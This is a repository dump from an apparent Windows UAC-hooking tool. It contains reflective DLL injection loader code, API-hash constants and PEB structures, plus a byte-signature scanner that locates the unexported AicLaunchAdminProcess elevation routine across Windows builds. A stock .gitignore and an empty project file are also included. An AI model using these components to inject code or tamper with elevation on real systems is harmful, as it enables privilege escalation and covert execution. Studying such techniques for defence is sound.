34 | UINT_PTR uiLibraryAddress = 0;
35 | FARPROC fpResult = NULL;
36 |
37 | if( hModule == NULL )
38 | return NULL;
39 |
40 | // a module handle is really its base address
41 | uiLibraryAddress = (UINT_PTR)hModule;
42 |
43 | __try
44 | {
45 | UINT_PTR uiAddressArray = 0;
46 | UINT_PTR uiNameArray = 0;
47 | UINT_PTR uiNameOrdinals = 0;
48 | PIMAGE_NT_HEADERS pNtHeaders = NULL;
49 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
50 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
51 |
52 | // get the VA of the modules NT Header
53 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
54 |
55 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
56 |
57 | // get the VA of the export directory
58 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
59 |
60 | // get the VA for the array of addresses
61 | uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
62 |
63 | // get the VA for the array of name pointers
64 | uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
65 |
66 | // get the VA for the array of name ordinals
67 | uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
68 |
69 | // test if we are importing by name or by ordinal...
70 | if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
71 | {
72 | // import by ordinal...
73 |
74 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
75 | uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
76 |
77 | // resolve the address for this imported function
78 | fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
79 | }
80 | else
81 | {
82 | // import by name...
83 | DWORD dwCounter = pExportDirectory->NumberOfNames;
84 | while( dwCounter-- )
85 | {
86 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
87 |
88 | // test if we have a match...
89 | if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
90 | {
91 | // use the functions name ordinal as an index into the array of name pointers
92 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
93 |
94 | // calculate the virtual address for the function
95 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
96 |
97 | // finish...
98 | break;
99 | }
100 |
101 | // get the next exported function name
102 | uiNameArray += sizeof(DWORD);
103 |
104 | // get the next exported function name ordinal
105 | uiNameOrdinals += sizeof(WORD);
106 | }
107 | }
108 | }
109 | __except( EXCEPTION_EXECUTE_HANDLER )
110 | {
111 | fpResult = NULL;
112 | }
113 |
114 | return fpResult;
115 | }
116 | //===============================================================================================//
--------------------------------------------------------------------------------
/UACHookerDll/FindLaunchAdminFunc.cpp:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2017 - 2019
4 | *
5 | * TITLE: AIC.C
6 | *
7 | * VERSION: 3.20
8 | *
9 | * DATE: 22 Oct 2019
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 | #include "FindLaunchAdminFunc.h"
18 | #include
19 | #include
20 | #include
21 | #include
22 | #define SHELL32_DLL L"shell32.dll"
23 | #define WINDOWS_STORAGE_DLL L"windows.storage.dll"
24 | HINSTANCE hNtdll = GetModuleHandleA("ntdll.dll");
25 |
26 | typedef PIMAGE_NT_HEADERS(NTAPI* RTLIMAGENTHEADER)(PVOID);
27 | RTLIMAGENTHEADER RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
28 |
29 | typedef NTSTATUS(NTAPI* RTLGETVERSION)(PRTL_OSVERSIONINFOW);
30 | RTLGETVERSION RtlGetVersion = (RTLGETVERSION)GetProcAddress(hNtdll, "RtlGetVersion");
31 |
32 | //RTLIMAGENTHEADER RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
33 | //
34 | // AicLaunchAdminProcess prologue signature.
35 | //
36 |
37 | unsigned char LaunchAdminProcessSignature760x[] = {
38 | 0xFF, 0xF3, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81,
39 | 0xEC, 0x30, 0x04, 0x00, 0x00
40 | };
41 |
42 | unsigned char LaunchAdminProcessSignature9200[] = {
43 | 0x44, 0x89, 0x44, 0x24, 0x18, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56,
44 | 0x41, 0x57, 0x48, 0x81, 0xEC, 0xF0, 0x03, 0x00, 0x00
45 | };
46 |
47 | unsigned char LaunchAdminProcessSignature9600[] = {
48 | 0x44, 0x89, 0x4C, 0x24, 0x20, 0x44, 0x89, 0x44, 0x24, 0x18, 0x53, 0x56, 0x57, 0x41,
49 | 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xEC, 0x00, 0x04, 0x00, 0x00
50 | };
51 |
52 | unsigned char LaunchAdminProcessSignature10240_10586[] = {
53 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81,
54 | 0xEC, 0x30, 0x04, 0x00, 0x00
55 | };
56 |
57 | unsigned char LaunchAdminProcessSignature14393[] = {
58 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81,
59 | 0xEC, 0x20, 0x04, 0x00, 0x00
60 | };
61 |
62 | unsigned char LaunchAdminProcessSignature_15063_18362[] = {
63 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81,
64 | 0xEC, 0x20, 0x04, 0x00, 0x00
65 | };
66 | //40 53 56 57 41 54 41 55 41 56 41 57 48 81 EC 30 04 00 00
67 | unsigned char LaunchAdminProcessSignature_18363_xxxxx[] = {
68 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81,
69 | 0xEC, 0x30, 0x04, 0x00, 0x00
70 | };
71 |
72 |
73 | /*
74 | * supFindPattern
75 | *
76 | * Purpose:
77 | *
78 | * Lookup pattern in buffer.
79 | *
80 | */
81 | PVOID supFindPattern(
82 | CONST PBYTE Buffer,
83 | SIZE_T BufferSize,
84 | CONST PBYTE Pattern,
85 | SIZE_T PatternSize
86 | )
87 | {
88 | PBYTE p = Buffer;
89 |
90 | if (PatternSize == 0)
91 | return NULL;
92 | if (BufferSize < PatternSize)
93 | return NULL;
94 | BufferSize -= PatternSize;
95 |
96 | do {
97 | p = (PBYTE)memchr(p, Pattern[0], BufferSize - (p - Buffer));
98 | if (p == NULL)
99 | break;
100 |
101 | if (memcmp(p, Pattern, PatternSize) == 0)
102 | return p;
103 |
104 | p++;
105 | } while (BufferSize - (p - Buffer) > 0); //-V555
106 |
107 | return NULL;
108 | }
109 |
110 | /*
111 | * AicFindLaunchAdminProcess
112 | *
113 | * Purpose:
114 | *
115 | * Locate unexported AppInfo routine in memory by signature.
116 | *
117 | */
118 | ULONG_PTR AicFindLaunchAdminProcess(
119 | _Out_ PNTSTATUS StatusCode)
120 | {
121 | ULONG_PTR Address = 0;
122 | PBYTE Pattern = NULL, ScanBase = NULL;
123 | DWORD PatternSize = 0, ScanSize = 0;
124 | IMAGE_NT_HEADERS* NtHeaders;
125 | LPWSTR ScanModule = NULL;
126 | RTL_OSVERSIONINFOW g_ctx;
127 | RtlSecureZeroMemory(&g_ctx, sizeof(g_ctx));
128 | g_ctx.dwOSVersionInfoSize = sizeof(g_ctx);
129 | RtlGetVersion((PRTL_OSVERSIONINFOW)&g_ctx);
130 | DWORD dwBuildNumber = g_ctx.dwBuildNumber;
131 | if (g_ctx.dwBuildNumber < 10240)
132 | ScanModule = SHELL32_DLL;
133 | else
134 | ScanModule = WINDOWS_STORAGE_DLL;
135 |
136 | switch (g_ctx.dwBuildNumber) {
137 |
138 | case 7600:
139 | case 7601:
140 | Pattern = LaunchAdminProcessSignature760x;
141 | PatternSize = sizeof(LaunchAdminProcessSignature760x);
142 | break;
143 | case 9200:
144 | Pattern = LaunchAdminProcessSignature9200;
145 | PatternSize = sizeof(LaunchAdminProcessSignature9200);
146 | break;
147 | case 9600:
148 | Pattern = LaunchAdminProcessSignature9600;
149 | PatternSize = sizeof(LaunchAdminProcessSignature9600);
150 | break;
151 | case 10240:
152 | case 10586:
153 | Pattern = LaunchAdminProcessSignature10240_10586;
154 | PatternSize = sizeof(LaunchAdminProcessSignature10240_10586);
155 | break;
156 | case 14393:
157 | Pattern = LaunchAdminProcessSignature14393;
158 | PatternSize = sizeof(LaunchAdminProcessSignature14393);
159 | break;
160 | case 15063:
161 | case 16299:
162 | case 17134:
163 | case 17763:
164 | case 18362:
165 | Pattern = LaunchAdminProcessSignature_15063_18362;
166 | PatternSize = sizeof(LaunchAdminProcessSignature_15063_18362);
167 | break;
168 | case 18363:
169 | default:
170 | Pattern = LaunchAdminProcessSignature_18363_xxxxx;
171 | PatternSize = sizeof(LaunchAdminProcessSignature_18363_xxxxx);
172 | break;
173 | }
174 |
175 | ScanBase = (PBYTE)GetModuleHandleW(ScanModule);
176 | if (ScanBase == NULL) {
177 | ScanBase = (PBYTE)LoadLibraryExW(ScanModule, NULL, 0); //is in \KnownDlls
178 | }
179 |
180 | if (ScanBase == NULL) {
181 | *StatusCode = STATUS_INTERNAL_ERROR;
182 | return 0;
183 | }
184 |
185 | NtHeaders = RtlImageNtHeader(ScanBase);
186 | if (NtHeaders->OptionalHeader.SizeOfImage <= PatternSize) {
187 | *StatusCode = STATUS_INTERNAL_ERROR;
188 | return 0;
189 | }
190 |
191 | ScanSize = NtHeaders->OptionalHeader.SizeOfImage - PatternSize;
192 | Address = (ULONG_PTR)supFindPattern(ScanBase, (SIZE_T)ScanSize, Pattern, (SIZE_T)PatternSize);
193 | if (Address == 0) {
194 | *StatusCode = STATUS_PROCEDURE_NOT_FOUND;
195 | return 0;
196 | }
197 |
198 | *StatusCode = STATUS_SUCCESS;
199 |
200 | return Address;
201 | }
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.vspscc
94 | *.vssscc
95 | .builds
96 | *.pidb
97 | *.svclog
98 | *.scc
99 |
100 | # Chutzpah Test files
101 | _Chutzpah*
102 |
103 | # Visual C++ cache files
104 | ipch/
105 | *.aps
106 | *.ncb
107 | *.opendb
108 | *.opensdf
109 | *.sdf
110 | *.cachefile
111 | *.VC.db
112 | *.VC.VC.opendb
113 |
114 | # Visual Studio profiler
115 | *.psess
116 | *.vsp
117 | *.vspx
118 | *.sap
119 |
120 | # Visual Studio Trace Files
121 | *.e2e
122 |
123 | # TFS 2012 Local Workspace
124 | $tf/
125 |
126 | # Guidance Automation Toolkit
127 | *.gpState
128 |
129 | # ReSharper is a .NET coding add-in
130 | _ReSharper*/
131 | *.[Rr]e[Ss]harper
132 | *.DotSettings.user
133 |
134 | # TeamCity is a build add-in
135 | _TeamCity*
136 |
137 | # DotCover is a Code Coverage Tool
138 | *.dotCover
139 |
140 | # AxoCover is a Code Coverage Tool
141 | .axoCover/*
142 | !.axoCover/settings.json
143 |
144 | # Coverlet is a free, cross platform Code Coverage Tool
145 | coverage*.json
146 | coverage*.xml
147 | coverage*.info
148 |
149 | # Visual Studio code coverage results
150 | *.coverage
151 | *.coveragexml
152 |
153 | # NCrunch
154 | _NCrunch_*
155 | .*crunch*.local.xml
156 | nCrunchTemp_*
157 |
158 | # MightyMoose
159 | *.mm.*
160 | AutoTest.Net/
161 |
162 | # Web workbench (sass)
163 | .sass-cache/
164 |
165 | # Installshield output folder
166 | [Ee]xpress/
167 |
168 | # DocProject is a documentation generator add-in
169 | DocProject/buildhelp/
170 | DocProject/Help/*.HxT
171 | DocProject/Help/*.HxC
172 | DocProject/Help/*.hhc
173 | DocProject/Help/*.hhk
174 | DocProject/Help/*.hhp
175 | DocProject/Help/Html2
176 | DocProject/Help/html
177 |
178 | # Click-Once directory
179 | publish/
180 |
181 | # Publish Web Output
182 | *.[Pp]ublish.xml
183 | *.azurePubxml
184 | # Note: Comment the next line if you want to checkin your web deploy settings,
185 | # but database connection strings (with potential passwords) will be unencrypted
186 | *.pubxml
187 | *.publishproj
188 |
189 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
190 | # checkin your Azure Web App publish settings, but sensitive information contained
191 | # in these scripts will be unencrypted
192 | PublishScripts/
193 |
194 | # NuGet Packages
195 | *.nupkg
196 | # NuGet Symbol Packages
197 | *.snupkg
198 | # The packages folder can be ignored because of Package Restore
199 | **/[Pp]ackages/*
200 | # except build/, which is used as an MSBuild target.
201 | !**/[Pp]ackages/build/
202 | # Uncomment if necessary however generally it will be regenerated when needed
203 | #!**/[Pp]ackages/repositories.config
204 | # NuGet v3's project.json files produces more ignorable files
205 | *.nuget.props
206 | *.nuget.targets
207 |
208 | # Microsoft Azure Build Output
209 | csx/
210 | *.build.csdef
211 |
212 | # Microsoft Azure Emulator
213 | ecf/
214 | rcf/
215 |
216 | # Windows Store app package directories and files
217 | AppPackages/
218 | BundleArtifacts/
219 | Package.StoreAssociation.xml
220 | _pkginfo.txt
221 | *.appx
222 | *.appxbundle
223 | *.appxupload
224 |
225 | # Visual Studio cache files
226 | # files ending in .cache can be ignored
227 | *.[Cc]ache
228 | # but keep track of directories ending in .cache
229 | !?*.[Cc]ache/
230 |
231 | # Others
232 | ClientBin/
233 | ~$*
234 | *~
235 | *.dbmdl
236 | *.dbproj.schemaview
237 | *.jfm
238 | *.pfx
239 | *.publishsettings
240 | orleans.codegen.cs
241 |
242 | # Including strong name files can present a security risk
243 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
244 | #*.snk
245 |
246 | # Since there are multiple workflows, uncomment next line to ignore bower_components
247 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
248 | #bower_components/
249 |
250 | # RIA/Silverlight projects
251 | Generated_Code/
252 |
253 | # Backup & report files from converting an old project file
254 | # to a newer Visual Studio version. Backup files are not needed,
255 | # because we have git ;-)
256 | _UpgradeReport_Files/
257 | Backup*/
258 | UpgradeLog*.XML
259 | UpgradeLog*.htm
260 | ServiceFabricBackup/
261 | *.rptproj.bak
262 |
263 | # SQL Server files
264 | *.mdf
265 | *.ldf
266 | *.ndf
267 |
268 | # Business Intelligence projects
269 | *.rdl.data
270 | *.bim.layout
271 | *.bim_*.settings
272 | *.rptproj.rsuser
273 | *- [Bb]ackup.rdl
274 | *- [Bb]ackup ([0-9]).rdl
275 | *- [Bb]ackup ([0-9][0-9]).rdl
276 |
277 | # Microsoft Fakes
278 | FakesAssemblies/
279 |
280 | # GhostDoc plugin setting file
281 | *.GhostDoc.xml
282 |
283 | # Node.js Tools for Visual Studio
284 | .ntvs_analysis.dat
285 | node_modules/
286 |
287 | # Visual Studio 6 build log
288 | *.plg
289 |
290 | # Visual Studio 6 workspace options file
291 | *.opt
292 |
293 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
294 | *.vbw
295 |
296 | # Visual Studio LightSwitch build output
297 | **/*.HTMLClient/GeneratedArtifacts
298 | **/*.DesktopClient/GeneratedArtifacts
299 | **/*.DesktopClient/ModelManifest.xml
300 | **/*.Server/GeneratedArtifacts
301 | **/*.Server/ModelManifest.xml
302 | _Pvt_Extensions
303 |
304 | # Paket dependency manager
305 | .paket/paket.exe
306 | paket-files/
307 |
308 | # FAKE - F# Make
309 | .fake/
310 |
311 | # CodeRush personal settings
312 | .cr/personal
313 |
314 | # Python Tools for Visual Studio (PTVS)
315 | __pycache__/
316 | *.pyc
317 |
318 | # Cake - Uncomment if you are using it
319 | # tools/**
320 | # !tools/packages.config
321 |
322 | # Tabs Studio
323 | *.tss
324 |
325 | # Telerik's JustMock configuration file
326 | *.jmconfig
327 |
328 | # BizTalk build output
329 | *.btp.cs
330 | *.btm.cs
331 | *.odx.cs
332 | *.xsd.cs
333 |
334 | # OpenCover UI analysis results
335 | OpenCover/
336 |
337 | # Azure Stream Analytics local run output
338 | ASALocalRun/
339 |
340 | # MSBuild Binary and Structured Log
341 | *.binlog
342 |
343 | # NVidia Nsight GPU debugger configuration file
344 | *.nvuser
345 |
346 | # MFractors (Xamarin productivity tool) working folder
347 | .mfractor/
348 |
349 | # Local History for Visual Studio
350 | .localhistory/
351 |
352 | # BeatPulse healthcheck temp database
353 | healthchecksdb
354 |
355 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
356 | MigrationBackup/
357 |
358 | # Ionide (cross platform F# VS Code tools) working folder
359 | .ionide/
360 |
361 | # Fody - auto-generated XML schema
362 | FodyWeavers.xsd
--------------------------------------------------------------------------------
/UACHookerDll/ReflectiveLoader.h:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2015, Dan Staples
2 |
3 | //===============================================================================================//
4 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
5 | // All rights reserved.
6 | //
7 | // Redistribution and use in source and binary forms, with or without modification, are permitted
8 | // provided that the following conditions are met:
9 | //
10 | // * Redistributions of source code must retain the above copyright notice, this list of
11 | // conditions and the following disclaimer.
12 | //
13 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
14 | // conditions and the following disclaimer in the documentation and/or other materials provided
15 | // with the distribution.
16 | //
17 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
18 | // endorse or promote products derived from this software without specific prior written permission.
19 | //
20 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
21 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
22 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
23 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
24 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
26 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
27 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 | // POSSIBILITY OF SUCH DAMAGE.
29 | //===============================================================================================//
30 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
31 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
32 | //===============================================================================================//
33 | #define WIN32_LEAN_AND_MEAN
34 | #include
35 | #include
36 | #include
37 |
38 | #include "ReflectiveDLLInjection.h"
39 |
40 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
41 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
42 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
43 | typedef VOID (WINAPI * EXITTHREAD)( DWORD );
44 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
45 |
46 | /** NOTE: module hashes are computed using all-caps unicode strings */
47 | #define KERNEL32DLL_HASH 0x6A4ABC5B
48 | #define NTDLLDLL_HASH 0x3CFA685D
49 |
50 | #define LOADLIBRARYA_HASH 0xEC0E4E8E
51 | #define GETPROCADDRESS_HASH 0x7C0DFCAA
52 | #define VIRTUALALLOC_HASH 0x91AFCA54
53 | #define EXITTHREAD_HSAH 0x60E0CEEF
54 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
55 | #define RTLEXITUSERTHREAD_HASH 0xFF7F061A // Vista+
56 |
57 | #define IMAGE_REL_BASED_ARM_MOV32A 5
58 | #define IMAGE_REL_BASED_ARM_MOV32T 7
59 |
60 | #define ARM_MOV_MASK (DWORD)(0xFBF08000)
61 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
62 | #define ARM_MOVW 0xF2400000
63 | #define ARM_MOVT 0xF2C00000
64 |
65 | #define HASH_KEY 13
66 | //===============================================================================================//
67 | #pragma intrinsic( _rotr )
68 |
69 | __forceinline DWORD ror( DWORD d )
70 | {
71 | return _rotr( d, HASH_KEY );
72 | }
73 |
74 | __forceinline DWORD hash( char * c )
75 | {
76 | register DWORD h = 0;
77 | do
78 | {
79 | h = ror( h );
80 | h += *c;
81 | } while( *++c );
82 |
83 | return h;
84 | }
85 | //===============================================================================================//
86 | typedef struct _UNICODE_STR
87 | {
88 | USHORT Length;
89 | USHORT MaximumLength;
90 | PWSTR pBuffer;
91 | } UNICODE_STR, *PUNICODE_STR;
92 |
93 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
94 | //__declspec( align(8) )
95 | typedef struct _LDR_DATA_TABLE_ENTRY
96 | {
97 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
98 | LIST_ENTRY InMemoryOrderModuleList;
99 | LIST_ENTRY InInitializationOrderModuleList;
100 | PVOID DllBase;
101 | PVOID EntryPoint;
102 | ULONG SizeOfImage;
103 | UNICODE_STR FullDllName;
104 | UNICODE_STR BaseDllName;
105 | ULONG Flags;
106 | SHORT LoadCount;
107 | SHORT TlsIndex;
108 | LIST_ENTRY HashTableEntry;
109 | ULONG TimeDateStamp;
110 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
111 |
112 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA
113 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
114 | {
115 | DWORD dwLength;
116 | DWORD dwInitialized;
117 | LPVOID lpSsHandle;
118 | LIST_ENTRY InLoadOrderModuleList;
119 | LIST_ENTRY InMemoryOrderModuleList;
120 | LIST_ENTRY InInitializationOrderModuleList;
121 | LPVOID lpEntryInProgress;
122 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
123 |
124 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
125 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
126 | {
127 | struct _PEB_FREE_BLOCK * pNext;
128 | DWORD dwSize;
129 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
130 |
131 | // struct _PEB is defined in Winternl.h but it is incomplete
132 | // WinDbg> dt -v ntdll!_PEB
133 | typedef struct __PEB // 65 elements, 0x210 bytes
134 | {
135 | BYTE bInheritedAddressSpace;
136 | BYTE bReadImageFileExecOptions;
137 | BYTE bBeingDebugged;
138 | BYTE bSpareBool;
139 | LPVOID lpMutant;
140 | LPVOID lpImageBaseAddress;
141 | PPEB_LDR_DATA pLdr;
142 | LPVOID lpProcessParameters;
143 | LPVOID lpSubSystemData;
144 | LPVOID lpProcessHeap;
145 | PRTL_CRITICAL_SECTION pFastPebLock;
146 | LPVOID lpFastPebLockRoutine;
147 | LPVOID lpFastPebUnlockRoutine;
148 | DWORD dwEnvironmentUpdateCount;
149 | LPVOID lpKernelCallbackTable;
150 | DWORD dwSystemReserved;
151 | DWORD dwAtlThunkSListPtr32;
152 | PPEB_FREE_BLOCK pFreeList;
153 | DWORD dwTlsExpansionCounter;
154 | LPVOID lpTlsBitmap;
155 | DWORD dwTlsBitmapBits[2];
156 | LPVOID lpReadOnlySharedMemoryBase;
157 | LPVOID lpReadOnlySharedMemoryHeap;
158 | LPVOID lpReadOnlyStaticServerData;
159 | LPVOID lpAnsiCodePageData;
160 | LPVOID lpOemCodePageData;
161 | LPVOID lpUnicodeCaseTableData;
162 | DWORD dwNumberOfProcessors;
163 | DWORD dwNtGlobalFlag;
164 | LARGE_INTEGER liCriticalSectionTimeout;
165 | DWORD dwHeapSegmentReserve;
166 | DWORD dwHeapSegmentCommit;
167 | DWORD dwHeapDeCommitTotalFreeThreshold;
168 | DWORD dwHeapDeCommitFreeBlockThreshold;
169 | DWORD dwNumberOfHeaps;
170 | DWORD dwMaximumNumberOfHeaps;
171 | LPVOID lpProcessHeaps;
172 | LPVOID lpGdiSharedHandleTable;
173 | LPVOID lpProcessStarterHelper;
174 | DWORD dwGdiDCAttributeList;
175 | LPVOID lpLoaderLock;
176 | DWORD dwOSMajorVersion;
177 | DWORD dwOSMinorVersion;
178 | WORD wOSBuildNumber;
179 | WORD wOSCSDVersion;
180 | DWORD dwOSPlatformId;
181 | DWORD dwImageSubsystem;
182 | DWORD dwImageSubsystemMajorVersion;
183 | DWORD dwImageSubsystemMinorVersion;
184 | DWORD dwImageProcessAffinityMask;
185 | DWORD dwGdiHandleBuffer[34];
186 | LPVOID lpPostProcessInitRoutine;
187 | LPVOID lpTlsExpansionBitmap;
188 | DWORD dwTlsExpansionBitmapBits[32];
189 | DWORD dwSessionId;
190 | ULARGE_INTEGER liAppCompatFlags;
191 | ULARGE_INTEGER liAppCompatFlagsUser;
192 | LPVOID lppShimData;
193 | LPVOID lpAppCompatInfo;
194 | UNICODE_STR usCSDVersion;
195 | LPVOID lpActivationContextData;
196 | LPVOID lpProcessAssemblyStorageMap;
197 | LPVOID lpSystemDefaultActivationContextData;
198 | LPVOID lpSystemAssemblyStorageMap;
199 | DWORD dwMinimumStackCommit;
200 | } _PEB, * _PPEB;
201 |
202 | typedef struct
203 | {
204 | WORD offset:12;
205 | WORD type:4;
206 | } IMAGE_RELOC, *PIMAGE_RELOC;
207 | //===============================================================================================//
208 | #endif
209 | //===============================================================================================//
210 |
--------------------------------------------------------------------------------
/inject/inject.vcproj:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
15 |
18 |
19 |
20 |
21 |
22 |
29 |
32 |
35 |
38 |
41 |
44 |
55 |
58 |
61 |
64 |
71 |
74 |
77 |
80 |
83 |
86 |
89 |
92 |
93 |
100 |
103 |
106 |
109 |
112 |
116 |
127 |
130 |
133 |
136 |
143 |
146 |
149 |
152 |
155 |
158 |
161 |
164 |
165 |
173 |
176 |
179 |
182 |
185 |
188 |
199 |
202 |
205 |
208 |
217 |
220 |
223 |
226 |
229 |
232 |
235 |
239 |
240 |
248 |
251 |
254 |
257 |
260 |
264 |
275 |
278 |
281 |
284 |
294 |
297 |
300 |
303 |
306 |
309 |
312 |
316 |
317 |
318 |
319 |
320 |
321 |
326 |
329 |
330 |
333 |
334 |
337 |
338 |
339 |
344 |
347 |
348 |
351 |
352 |
355 |
356 |
357 |
358 |
359 |
360 |
361 |
--------------------------------------------------------------------------------
/UACHookerDll/UACHookerDll.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
